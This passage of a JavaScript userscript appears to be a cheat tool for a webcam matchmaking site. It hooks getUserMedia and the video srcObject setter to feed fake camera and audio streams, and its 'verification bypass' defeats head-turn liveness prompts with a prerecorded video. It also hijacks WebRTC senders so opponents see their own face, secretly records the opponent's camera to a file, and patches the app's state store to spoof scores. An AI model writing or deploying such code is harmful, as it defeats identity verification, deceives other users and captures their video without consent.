if (!_camSpoofActive) { clearInterval(_camDrawRAF); _camDrawRAF = null; return; }
ctx.fillStyle = '#000';
ctx.fillRect(0, 0, 640, 480);
ctx.save();
if (_camMirror) { ctx.translate(640, 0); ctx.scale(-1, 1); }
if (CONFIG.mirrorOpponentCam === true && _opponentVideoTrack && _opponentVideoEl && _opponentVideoEl.videoWidth > 0) {
try {
const vw = _opponentVideoEl.videoWidth, vh = _opponentVideoEl.videoHeight;
const scale = Math.min(640 / vw, 480 / vh);
const dw = vw * scale, dh = vh * scale;
const dx = (640 - dw) / 2, dy = (480 - dh) / 2;
ctx.drawImage(_opponentVideoEl, dx, dy, dw, dh);
} catch(e) { ctx.fillText('[Opponent cam error]', 270, 240); }
} else if (_camSrcType === 'video' && _camVideoEl && _camVideoEl.readyState >= 2) {
const vw = _camVideoEl.videoWidth, vh = _camVideoEl.videoHeight;
const scale = Math.min(640 / vw, 480 / vh);
const dw = vw * scale, dh = vh * scale;
const dx = (640 - dw) / 2, dy = (480 - dh) / 2;
ctx.drawImage(_camVideoEl, dx, dy, dw, dh);
} else if (_camSrcType === 'image' && _camImageEl && _camImageEl.complete && _camImageEl.naturalWidth > 0) {
const iw = _camImageEl.naturalWidth, ih = _camImageEl.naturalHeight;
const scale = Math.min(640 / iw, 480 / ih);
const dw = iw * scale, dh = ih * scale;
const dx = (640 - dw) / 2, dy = (480 - dh) / 2;
ctx.drawImage(_camImageEl, dx, dy, dw, dh);
}
ctx.restore();
ctx.shadowBlur = 0;
ctx.shadowOffsetX = 0;
ctx.shadowOffsetY = 0;
if (_camTextEnabled && _camTextContent) {
ctx.save();
ctx.font = 'bold ' + _camTextSize + 'px Arial, sans-serif';
ctx.fillStyle = 'rgba(0,0,0,0.6)';
ctx.textAlign = 'center';
ctx.textBaseline = 'bottom';
ctx.fillText(_camTextContent, 322, 472);
ctx.fillStyle = _camTextColor;
ctx.shadowColor = 'rgba(0,0,0,0.9)';
ctx.shadowBlur = 8;
ctx.shadowOffsetX = 2;
ctx.shadowOffsetY = 2;
ctx.fillText(_camTextContent, 320, 470);
ctx.restore();
}
_premiumOverlays.forEach(function(o) {
if (!o.enabled) return;
if (o.srcType !== 'text' && !o.el) return;
ctx.save();
ctx.globalAlpha = o.opacity / 100;
if (o.srcType === 'text') {
ctx.font = 'bold ' + o.textFontSize + 'px Arial, sans-serif';
ctx.textAlign = 'left';
ctx.textBaseline = 'top';
const lines = o.textContent.split('\n');
const lineH = o.textFontSize * 1.4;
ctx.fillStyle = 'rgba(0,0,0,0.6)';
lines.forEach((line, i) => ctx.fillText(line, o.x + 2, o.y + 2 + i * lineH));
ctx.fillStyle = o.textColor;
ctx.shadowColor = 'rgba(0,0,0,0.9)';
ctx.shadowBlur = 8;
ctx.shadowOffsetX = 2;
ctx.shadowOffsetY = 2;
lines.forEach((line, i) => ctx.fillText(line, o.x, o.y + i * lineH));
ctx.shadowBlur = 0;
ctx.shadowOffsetX = 0;
ctx.shadowOffsetY = 0;
} else if (o.el) {
const el = o.el;
ctx.translate(o.x + o.w / 2, 0);
ctx.scale(-1, 1);
ctx.translate(-o.x - o.w / 2, 0);
if (o.srcType === 'video' && el.tagName === 'VIDEO' && el.readyState >= 2) {
const vw = el.videoWidth, vh = el.videoHeight;
const scale = Math.min(o.w / vw, o.h / vh);
const dw = vw * scale, dh = vh * scale;
const dx = o.x + (o.w - dw) / 2;
const dy = o.y + (o.h - dh) / 2;
ctx.drawImage(el, dx, dy, dw, dh);
} else if (o.srcType === 'image' && el.tagName === 'IMG' && el.complete && el.naturalWidth > 0) {
const iw = el.naturalWidth, ih = el.naturalHeight;
const scale = Math.min(o.w / iw, o.h / ih);
const dw = iw * scale, dh = ih * scale;
const dx = o.x + (o.w - dw) / 2;
const dy = o.y + (o.h - dh) / 2;
ctx.drawImage(el, dx, dy, dw, dh);
}
}
ctx.restore();
});
}
if (_camSrcType === 'video' && (_camVideoFile || _camVideoUrl)) {
_camVideoEl = document.createElement('video');
_camVideoEl.src = _camVideoFile ? URL.createObjectURL(_camVideoFile) : _camVideoUrl;
_camVideoEl.loop = _camLoop;
_camVideoEl.muted = true;
_camVideoEl.playsInline = true;
_camVideoEl.crossOrigin = 'anonymous';
_camVideoEl.playbackRate = _camSpeed;
_camVideoEl.onerror = function() {
log('[CAM] Video failed to load, trying without loop');
_camVideoEl.loop = true;
_camVideoEl.play().catch(function() {});
};
_camVideoEl.play().catch(function(e) {
log('[CAM] Video play error:', e);
});
_camDrawRAF = setInterval(drawFrame, 33);
drawFrame();
} else if (_camSrcType === 'image' && (_camImageFile || _camImageUrl)) {
_camImageEl = new Image();
if (_camImageUrl && !_camImageUrl.startsWith('blob:')) _camImageEl.crossOrigin = 'anonymous';
_camImageEl.src = _camImageFile ? URL.createObjectURL(_camImageFile) : _camImageUrl;
_camImageEl.onload = () => { if (!_camDrawRAF) { _camDrawRAF = setInterval(drawFrame, 33); drawFrame(); } };
_camDrawRAF = setInterval(drawFrame, 33);
drawFrame();
} else {
log('[CAM] No source selected');
return null;
}
return _camCanvasEl.captureStream(30);
}
function startCamSpoof() {
const fakeStream = buildFakeStream();
if (!fakeStream) return;
_camStream = fakeStream;
const _srcObjDesc = Object.getOwnPropertyDescriptor(HTMLMediaElement.prototype, 'srcObject');
if (!_camSrcObjPatch) {
_camSrcObjPatch = function(stream) {
if (this.classList?.contains('scanner-video') && stream && _camSpoofActive && _camStream) {
_srcObjDesc.set.call(this, _camStream); return;
}
_srcObjDesc.set.call(this, stream);
};
Object.defineProperty(HTMLMediaElement.prototype, 'srcObject', {
get() { return _srcObjDesc.get.call(this); },
set: _camSrcObjPatch,
configurable: true
});
}
const scannerVid = document.querySelector('video.scanner-video');
if (scannerVid) scannerVid.srcObject = _camStream;
try {
const sendTrack = CONFIG.mirrorOpponentCam === true && _opponentVideoTrack ? _opponentVideoTrack : _camStream.getVideoTracks()[0];
if (sendTrack) {
_replaceFirstVideoSender(sendTrack);
}
} catch(e) {}
}
function stopCamSpoof() {
if (_camDrawRAF) { cancelAnimationFrame(_camDrawRAF); _camDrawRAF = null; }
if (_camVideoEl) { _camVideoEl.pause(); if (_camVideoEl.srcObject) _camVideoEl.srcObject = null; else _camVideoEl.src = ''; _camVideoEl = null; }
if (_camImageEl) _camImageEl = null;
if (_camRealStream) { _camRealStream.getTracks().forEach(t => t.stop()); _camRealStream = null; }
if (_camStream) { _camStream.getTracks().forEach(t => t.stop()); _camStream = null; }
_trueOriginalGetUserMedia({ video: true }).then(realStream => {
const realTrack = realStream.getVideoTracks()[0];
const scannerVid = document.querySelector('video.scanner-video');
if (scannerVid) scannerVid.srcObject = realStream;
if (realTrack && _window._mogPCs) {
for (const pc of _window._mogPCs) {
pc.getSenders().forEach(sender => {
if (sender.track?.kind === 'video') sender.replaceTrack(realTrack).catch(() => {});
});
}
}
}).catch(() => {});
}
document.getElementById('cm-camspoof-toggle').addEventListener('change', function() {
_camSpoofActive = this.checked;
if (_camSpoofActive) startCamSpoof(); else stopCamSpoof();
});
// ==================== AUDIO SPOOF ====================
let _audioSpoofActive = false;
let _audioFile = null;
let _audioUrl = null;
let _audioEl = null;
let _audioLoop = true;
let _audioSpeed = 1.0;
let _audioVolume = 1.0;
let _audioStream = null;
let _audioContext = null;
let _audioSource = null;
let _audioDestination = null;
let _audioBassFilter = null;
let _audioTrebleFilter = null;
let _audioWarmthFilter = null;
let _audioBass = 0;
let _audioTreble = 0;
let _audioWarmth = 0;
document.getElementById('cm-audioloop-toggle').addEventListener('change', function() {
_audioLoop = this.checked;
if (_audioEl) _audioEl.loop = _audioLoop;
});
const audioSpeedSlider = document.getElementById('cm-audiospeed');
const audioSpeedFill = document.getElementById('cm-audiospeed-fill');
audioSpeedSlider.addEventListener('input', function() {
_audioSpeed = parseFloat(this.value);
document.getElementById('cm-audiospeed-val').textContent = _audioSpeed.toFixed(2) + 'x';
updateSliderFill(this, audioSpeedFill, 0.25, 3.0);
if (_audioEl) _audioEl.playbackRate = _audioSpeed;
});
const audioVolumeSlider = document.getElementById('cm-audiovolume');
const audioVolumeFill = document.getElementById('cm-audiovolume-fill');
audioVolumeSlider.addEventListener('input', function() {
_audioVolume = parseInt(this.value) / 100;
document.getElementById('cm-audiovolume-val').textContent = this.value + '%';
updateSliderFill(this, audioVolumeFill, 0, 100);
if (_audioEl) _audioEl.volume = _audioVolume;
});
const audioBassSlider = document.getElementById('cm-audiobass');
const audioBassFill = document.getElementById('cm-audiobass-fill');
audioBassSlider.addEventListener('input', function() {
_audioBass = parseInt(this.value);
document.getElementById('cm-audiobass-val').textContent = _audioBass + ' dB';
updateSliderFill(this, audioBassFill, -12, 12);
if (_audioBassFilter) _audioBassFilter.gain.value = _audioBass;
});
const audioTrebleSlider = document.getElementById('cm-audiotreble');
const audioTrebleFill = document.getElementById('cm-audiotreble-fill');
audioTrebleSlider.addEventListener('input', function() {
_audioTreble = parseInt(this.value);
document.getElementById('cm-audiotreble-val').textContent = _audioTreble + ' dB';
updateSliderFill(this, audioTrebleFill, -12, 12);
if (_audioTrebleFilter) _audioTrebleFilter.gain.value = _audioTreble;
});
const audioWarmthSlider = document.getElementById('cm-audiowarmth');
const audioWarmthFill = document.getElementById('cm-audiowarmth-fill');
audioWarmthSlider.addEventListener('input', function() {
_audioWarmth = parseInt(this.value);
document.getElementById('cm-audiowarmth-val').textContent = _audioWarmth + ' dB';
updateSliderFill(this, audioWarmthFill, -12, 12);
if (_audioWarmthFilter) _audioWarmthFilter.gain.value = _audioWarmth;
});
function startAudioSpoof() {
if (!_audioFile && !_audioUrl) {
document.getElementById('cm-audio-status').textContent = 'No file selected';
document.getElementById('cm-audio-status').style.color = 'var(--cm-warning)';
return;
}
try {
_audioEl = document.createElement('audio');
_audioEl.src = _audioFile ? URL.createObjectURL(_audioFile) : _audioUrl;
_audioEl.crossOrigin = 'anonymous';
_audioEl.loop = _audioLoop;
_audioEl.playbackRate = _audioSpeed;
_audioEl.volume = _audioVolume;
_audioContext = new (window.AudioContext || window.webkitAudioContext)();
_audioSource = _audioContext.createMediaElementSource(_audioEl);
_audioBassFilter = _audioContext.createBiquadFilter();
_audioBassFilter.type = 'lowshelf';
_audioBassFilter.frequency.value = 150;
_audioBassFilter.gain.value = _audioBass;
_audioTrebleFilter = _audioContext.createBiquadFilter();
_audioTrebleFilter.type = 'highshelf';
_audioTrebleFilter.frequency.value = 4000;
_audioTrebleFilter.gain.value = _audioTreble;
_audioWarmthFilter = _audioContext.createBiquadFilter();
_audioWarmthFilter.type = 'peaking';
_audioWarmthFilter.frequency.value = 500;
_audioWarmthFilter.Q.value = 1;
_audioWarmthFilter.gain.value = _audioWarmth;
_audioDestination = _audioContext.createMediaStreamDestination();
_audioSource.connect(_audioBassFilter);
_audioBassFilter.connect(_audioWarmthFilter);
_audioWarmthFilter.connect(_audioTrebleFilter);
_audioTrebleFilter.connect(_audioDestination);
_audioTrebleFilter.connect(_audioContext.destination);
_audioStream = _audioDestination.stream;
_audioEl.play().catch(e => log('[AUDIO SPOOF] Play error:', e));
document.getElementById('cm-audio-status').textContent = 'Active';
document.getElementById('cm-audio-status').style.color = 'var(--cm-success)';
log('[AUDIO SPOOF] Started');
} catch(e) {
log('[AUDIO SPOOF] Error:', e);
document.getElementById('cm-audio-status').textContent = 'Error';
document.getElementById('cm-audio-status').style.color = 'var(--cm-danger)';
}
}
function stopAudioSpoof() {
if (_audioEl) {
_audioEl.pause();
_audioEl.src = '';
_audioEl = null;
}
if (_audioContext) {
_audioContext.close().catch(() => {});
_audioContext = null;
}
_audioSource = null;
_audioDestination = null;
_audioBassFilter = null;
_audioTrebleFilter = null;
_audioWarmthFilter = null;
_audioStream = null;
document.getElementById('cm-audio-status').textContent = 'Inactive';
document.getElementById('cm-audio-status').style.color = 'var(--cm-text-muted)';
log('[AUDIO SPOOF] Stopped');
}
document.getElementById('cm-audiospoof-toggle').addEventListener('change', function() {
_audioSpoofActive = this.checked;
if (_audioSpoofActive) startAudioSpoof(); else stopAudioSpoof();
});
// Patch getUserMedia to inject spoofed audio
const _origGetUserMediaForAudio = navigator.mediaDevices.getUserMedia;
navigator.mediaDevices.getUserMedia = async function(constraints) {
if (_audioSpoofActive && _audioStream && constraints && constraints.audio) {
log('[AUDIO SPOOF] Intercepting getUserMedia - injecting spoofed audio');
const realStream = await _trueOriginalGetUserMedia(constraints);
if (constraints.video) {
const combinedTracks = [
...realStream.getVideoTracks(),
..._audioStream.getAudioTracks()
];
return new MediaStream(combinedTracks);
} else {
return _audioStream;
}
}
return _origGetUserMediaForAudio.call(navigator.mediaDevices, constraints);
};
// Cam spoof enforcer
setInterval(() => {
if (!_camSpoofActive) return;
if (!_camStream || !_camStream.getVideoTracks().length || _camStream.getVideoTracks()[0].readyState === 'ended') {
log('[CAM SPOOF] Stream dead, rebuilding...');
const fakeStream = buildFakeStream();
if (fakeStream) _camStream = fakeStream;
}
if (!_camStream) return;
const scannerVid = document.querySelector('video.scanner-video');
if (scannerVid && scannerVid.srcObject !== _camStream) {
log('[CAM SPOOF] Re-applying spoof to scanner-video');
scannerVid.srcObject = _camStream;
}
const sendTrack = CONFIG.mirrorOpponentCam === true && _opponentVideoTrack ? _opponentVideoTrack : _camStream.getVideoTracks()[0];
if (sendTrack && _window._mogPCs) {
for (const pc of _window._mogPCs) {
try {
pc.getSenders().forEach(sender => {
if (sender.track?.kind === 'video' && sender.track !== sendTrack) {
sender.replaceTrack(sendTrack).catch(() => {});
}
});
} catch(e) {}
}
}
}, 500);
// VS text detector - re-apply cam spoof on new match
const vsDetector = new MutationObserver((mutations) => {
if (!_camSpoofActive) return;
for (const m of mutations) {
for (const node of m.addedNodes) {
if (node.nodeType !== 1) continue;
const text = node.textContent?.trim();
if (text === 'VS' || node.innerText?.trim() === 'VS') {
log('[CAM SPOOF] VS detected, re-applying cam spoof');
if (!_camStream || !_camStream.getVideoTracks().length || _camStream.getVideoTracks()[0].readyState === 'ended') {
const fakeStream = buildFakeStream();
if (fakeStream) _camStream = fakeStream;
}
if (_camStream) {
const sv = document.querySelector('video.scanner-video');
if (sv) sv.srcObject = _camStream;
const sendTrack = CONFIG.mirrorOpponentCam === true && _opponentVideoTrack ? _opponentVideoTrack : _camStream.getVideoTracks()[0];
if (sendTrack && _window._mogPCs) {
for (const pc of _window._mogPCs) {
try {
pc.getSenders().forEach(sender => {
if (sender.track?.kind === 'video') { sender.replaceTrack(sendTrack).catch(() => {}); }
});
} catch(e) {}
}
}
}
return;
}
}
}
});
vsDetector.observe(document.body, { childList: true, subtree: true });
// Head turn instruction detector - match yaw & flip landmarks + video
let _lastHeadTurnText = '';
const _headTurnObserver = new MutationObserver(() => {
if (!_verifBypassActive) return;
const bodyText = document.body.textContent || '';
const hasTurn = /turn.*head/i.test(bodyText);
if (hasTurn) {
const text = bodyText.match(/turn.*head\s*\w*/i)?.[0] || 'turn';
if (text !== _lastHeadTurnText) {
_lastHeadTurnText = text;
const isLeft = /turn.*head.*left/i.test(bodyText);
const isRight = /turn.*head.*right/i.test(bodyText);
_headYaw = isLeft ? -0.35 : isRight ? 0.35 : 0.2;
log('[VERIF BYPASS] Head turn: yaw=' + _headYaw.toFixed(2) + ' restarting+flipping');
if (_camVideoEl) {
_camVideoEl.currentTime = 0;
_camVideoEl.play().catch(() => {});
}
_camMirror = true;
const mirrorToggle = document.getElementById('cm-cammirror-toggle');
if (mirrorToggle) mirrorToggle.checked = true;
}
} else {
if (_headYaw !== 0) {
_headYaw = 0;
_lastHeadTurnText = '';
log('[VERIF BYPASS] Head turn cleared, yaw reset');
const mirrorToggle = document.getElementById('cm-cammirror-toggle');
if (mirrorToggle) { _camMirror = mirrorToggle.checked; }
}
}
});
_headTurnObserver.observe(document.body, { childList: true, subtree: true, characterData: true });
// ==================== VERIFICATION BYPASS ====================
const VERIF_VIDEO_URL = 'https://cdn.frostedbrowser.cfd/cheatmoggle-assets/verification.mov';
let _verifBypassActive = false;
document.getElementById('cm-verifbypass-btn').addEventListener('click', function() {
_verifBypassActive = !_verifBypassActive;
CONFIG.verifBypassActive = _verifBypassActive;
this.style.background = _verifBypassActive ? 'var(--cm-success)' : 'var(--cm-accent)';
this.textContent = _verifBypassActive ? 'Bypass Active' : 'Verification Bypass';
if (_verifBypassActive) {
_lastSpoofedScore = null;
_cacheValid = false;
_cachedScoreSpan = null;
stopScoreFluctuation();
startVerifBypass();
} else {
stopVerifBypass();
if (CONFIG.scoreEnabled) startScoreFluctuation();
}
});
function startVerifBypass() {
_camVideoUrl = VERIF_VIDEO_URL;
_camVideoFile = null;
_camImageFile = null;
_camSrcType = 'video';
const mirrorToggle = document.getElementById('cm-cammirror-toggle');
_camMirror = mirrorToggle ? mirrorToggle.checked : false;
_camLoop = true;
_camSpeed = 1.0;
// Keep old stream alive during build to avoid race in _gumHook
const oldStream = _camStream;
const oldRAF = _camDrawRAF;
const oldVideo = _camVideoEl;
_camDrawRAF = null;
_camVideoEl = null;
_camSpoofActive = true;
const camToggle = document.getElementById('cm-camspoof-toggle');
if (camToggle) camToggle.checked = true;
startCamSpoof();
if (oldRAF) cancelAnimationFrame(oldRAF);
if (oldVideo) { oldVideo.pause(); oldVideo.src = ''; }
if (oldStream) oldStream.getTracks().forEach(t => t.stop());
log('[VERIF BYPASS] Started with virtual cam');
}
function stopVerifBypass() {
CONFIG.verifBypassActive = false;
const mirrorToggle = document.getElementById('cm-cammirror-toggle');
_camMirror = mirrorToggle ? mirrorToggle.checked : false;
log('[VERIF BYPASS] Stopped');
}
// ==================== TROLL PANEL - MIRROR CAM ====================
const mirrorToggle = document.getElementById('cm-mirror-toggle');
if (mirrorToggle) {
mirrorToggle.addEventListener('change', function() {
CONFIG.mirrorOpponentCam = this.checked;
saveConfig();
const statusEl = document.getElementById('cm-mirror-status');
const trackEl = document.getElementById('cm-mirror-track');
if (this.checked) {
if (_opponentVideoTrack) {
if (statusEl) { statusEl.textContent = 'Active - mirroring opponent cam'; statusEl.style.color = 'var(--cm-danger)'; }
if (trackEl) trackEl.textContent = _opponentVideoTrack.id.substring(0,20) + '...';
log('[MIRROR] Mirror cam enabled - opponent will see their own face');
_replaceFirstVideoSender(_opponentVideoTrack);
} else {
if (statusEl) { statusEl.textContent = 'Waiting for opponent track...'; statusEl.style.color = 'var(--cm-warning)'; }
log('[MIRROR] Mirror cam enabled - waiting for opponent video track');
}
} else {
if (statusEl) { statusEl.textContent = 'Disabled'; statusEl.style.color = 'var(--cm-text-muted)'; }
if (trackEl) trackEl.textContent = '—';
log('[MIRROR] Mirror cam disabled');
}
});
}
// Record opponent cam
let _opponentRecorder = null;
let _opponentRecordedChunks = [];
const recordBtn = document.getElementById('cm-record-opponent');
const recordStatus = document.getElementById('cm-record-status');
if (recordBtn) {
recordBtn.addEventListener('click', function() {
if (_opponentRecorder && _opponentRecorder.state === 'recording') {
_opponentRecorder.stop();
return;
}
if (!_opponentVideoTrack) {
if (recordStatus) recordStatus.textContent = 'No track to record';
return;
}
try {
const recStream = new MediaStream([_opponentVideoTrack]);
_opponentRecordedChunks = [];
_opponentRecorder = new MediaRecorder(recStream, { mimeType: 'video/webm;codecs=vp9' });
_opponentRecorder.ondataavailable = function(e) {
if (e.data.size > 0) _opponentRecordedChunks.push(e.data);
};
_opponentRecorder.onstop = function() {
const blob = new Blob(_opponentRecordedChunks, { type: 'video/webm' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'opponent-cam-' + Date.now() + '.webm';
a.click();
URL.revokeObjectURL(url);
if (recordStatus) recordStatus.textContent = 'Saved';
_opponentRecorder = null;
};
_opponentRecorder.start();
if (recordStatus) recordStatus.textContent = 'Recording...';
recordBtn.textContent = '■ Stop';
log('[MIRROR] Started recording opponent cam');
} catch(e) {
log('[MIRROR] Recording error:', e);
if (recordStatus) recordStatus.textContent = 'Error: ' + e.message;
}
});
}
// Keep cam video playing + prevent background throttling when tabbed out
let _silentAudio = null;
function _startSilentAudio() {
if (_silentAudio) return;
try {
const ac = new (window.AudioContext || window.webkitAudioContext)();
const buf = ac.createBuffer(1, ac.sampleRate * 2, ac.sampleRate);
const src = ac.createBufferSource();
src.buffer = buf;
src.loop = true;
const gain = ac.createGain();
gain.gain.value = 0;
src.connect(gain);
gain.connect(ac.destination);
src.start();
_silentAudio = { ac, src, gain };
} catch(e) {}
}
function _stopSilentAudio() {
if (_silentAudio) {
try { _silentAudio.src.stop(); _silentAudio.ac.close(); } catch(e) {}
_silentAudio = null;
}
}
document.addEventListener('visibilitychange', () => {
if (document.hidden) {
if (_camSpoofActive) {
_startSilentAudio();
if (_camVideoEl) _camVideoEl.play().catch(() => {});
}
if (_camTextEnabled && _realCamVideoEl) {
_realCamVideoEl.play().catch(() => {});
}
} else {
_stopSilentAudio();
}
});
_updateOpponentVideoDisplay();
}
// ── ZUSTAND STATUS BADGE ──────────────────────────────────────────────
const _zustandInterval = setInterval(() => {
const badge = document.getElementById('cm-zustand-val');
if (!badge) return;
try {
if (_storeRef && _storeRef.__cmStorePatched) {
badge.textContent = 'HOOKED';
badge.style.color = 'var(--cm-success)';
badge.removeAttribute('data-pending');
clearInterval(_zustandInterval);
return;
}
if (_storeRef) {
badge.textContent = 'FOUND';
badge.style.color = 'var(--cm-warning)';
}
patchZustandStore();
} catch(e) {}
}, 500);
function _initMenu() {
try {
buildMenu();
} catch (e) {
log('[INIT] buildMenu failed:', e);
setTimeout(buildMenu, 1000);
}
}
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', _initMenu);
} else {
_initMenu();
}
// Retry buildMenu if it fails on first attempt (e.g., DOM not ready)
setTimeout(() => {
if (!document.getElementById('cm-root')) {
log('[INIT] cm-root missing, retrying buildMenu...');
try { buildMenu(); } catch (e) { log('[INIT] retry failed:', e); }
}
}, 2000);
})();